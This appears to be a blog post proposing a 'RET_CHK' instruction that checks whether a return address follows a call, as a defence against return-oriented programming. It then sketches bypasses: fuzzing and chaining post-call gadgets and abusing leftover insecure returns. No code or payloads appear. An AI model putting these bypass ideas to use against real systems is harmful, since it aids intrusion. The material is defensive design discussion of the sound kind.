With all these turned on, buffer related exploits require one or two info leaks to get the stack cookie and some offsets to bypass ASLR. From there, use ROP gadgets (borrowed chunks of code e.g pop ebx, pop eax, ret) to pop a shell.

Theoretical New Idea:

RET_CHK (PASTEBIN_SECURE_RET was a bit of a mouthfull)

To prevent ROP Related Exploits, extend the 'ret' instruction to add a check that the return address is just after a call instruction. To make it compatible with all the weird hacks that people want to do, add an instruction ret-insecure, that acts as normal ret.

This will only add 1 or 2 clock cycles (probably) to every function call.

Clock cycles are really really fast, but programs do make a lot of function calls. This technique can be removed from some functions that get called very frequently. It makes exploiting easier but still much harder than not having it at all.


How to sploit?

Of course, as with all new security features, there are ways to get around this.
Typically, once you get to the point where you control eip, you have boatloads of rop gadgets to choose from and if you've got libc you can probably do anything you want with only a little effort.
With RetCheck™ enabled, the spots you can jump to goes from all of the code segment and libraries to the 0.01% of assembly instructions that directly follow a call instruction. (Actual percentage of call instructions may vary)

Firstly, due to the already overwhelming pressure to make things fast, any implementation will probably only do something like "die if [eip-4] != call_instruction_byte_code". This extends our reach to 4 bytes after some offset assembly that looks like a call instruction and doesn't break everything.

Then comes the fun bit. We take our limited set of gadgets and profile them to find their net effect on system state. Pretty much glorified assembly fuzzing. Run them a bunch with different initial stacks and registers, then find the patterns. Look for those pesky "won't make it crash" requirements, the registers and memory regions it does and doesn't touch, as well as the effect it has on different values. This will be handled by my super smart deep learning neural network magic engine that I haven't written yet.

Yes I can hear you saying "why don't you just look at the code and work out what it does". Sure, you can do that, take all 10,000 potential gadgets and manually do a writeup of what input it takes to not crash and the effect it has on all the registers and values on the stack etc. Good luck. With that.

Meanwhile, back in lazy land, I'll build my assembly-fuzzing-AI and have a general purpose tool forevers.

At this point we have a bunch of gadget blobs that each have a net effect on current state. By chaining these together with a stack of stuff we control we can find combinations that achieve what we want (maybe).

Popping a shell becomes quite hard if you don't have any easy wins like "call whatevs; call system". 

If you allow there to be any ret's (even 1 is enough), then this becomes easier. Find a chain of valid ret-chks that ends in an insecure-ret. Use the insecure-ret to do any gadget of choice and if that gadget has a ret-check then add your chain of valid ret-chks to get another gadget-of-choice. Just hope that the valid ret-chk chain doesn't ruin what the last do-what-you-want-gadget did.

With enough insecure-ret's it acts as only a mild to severe nuisance finding a chain that doesn't break everything.

Either way, this makes exploitation harder at a not-too-unreasonable cost.

We'll probably have a smarter solution that totally solves buffer overflows in the near future anyway, hence this is a blog post not a patent application

The super smart machine genius assembly fuzzer AI  thing would probably be a useful tool in current exploitation but it's too much of a trek for me for now and is probably not necessary 99% of the time.

Hack the planet
-pasteBin